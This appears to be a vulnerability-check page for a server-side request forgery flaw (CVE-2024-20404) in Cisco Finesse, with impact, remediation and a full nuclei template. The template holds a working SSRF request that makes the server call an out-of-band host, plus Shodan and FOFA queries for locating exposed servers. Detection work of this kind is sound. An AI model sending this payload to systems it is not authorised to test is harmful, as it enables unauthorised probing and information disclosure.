Cisco Finesse - Server-Side Request Forgery (SSRF)

mediumseverity

5.8CVSS score

22.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Cisco Finesse contains an SSRF caused by insufficient validation of user-supplied input in HTTP requests, letting unauthenticated remote attackers access limited sensitive information, exploit requires sending crafted HTTP requests.

Impact

Attackers can access sensitive information from services associated with the device, potentially leading to information disclosure.

Fix

Apply the latest security patches and updates provided by Cisco for Finesse.

How to confirm it

Send: POST /gadgets/metadata
Positive when: contains(content_type, "application/json") and contains(interactsh_protocol, "http") and contains(body, "At least 1 ModulePrefs is required") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-20404 -u <target>

The full check

id: CVE-2024-20404

info:
  name: Cisco Finesse - Server-Side Request Forgery (SSRF)
  author: 0x_Akoko
  severity: medium
  description: |
    Cisco Finesse contains an SSRF caused by insufficient validation of user-supplied input in HTTP requests, letting unauthenticated remote attackers access limited sensitive information, exploit requires sending crafted HTTP requests.
  impact: |
    Attackers can access sensitive information from services associated with the device, potentially leading to information disclosure.
  remediation: |
    Apply the latest security patches and updates provided by Cisco for Finesse.
  reference:
    - https://github.com/3zz4t/CVE-2024-20404
    - https://nvd.nist.gov/vuln/detail/CVE-2024-20404
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2024-20404
    epss-score: 0.22644
    epss-percentile: 0.97735
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Cisco Finesse" port:8445
    fofa-query: title="Cisco Finesse" && port="8445"
  tags: cve,cve2024,cisco,finesse,ssrf,unauth,oob,vkev,vuln

http:
  - raw:
      - |
        POST /gadgets/metadata HTTP/1.1
        Host: {{Hostname}}

        {"context":{"container":"default","language":"en","country":"US","locale":"en_US"},"gadgets":[{"url":"http://{{interactsh-url}}"}]}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(body, "At least 1 ModulePrefs is required")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from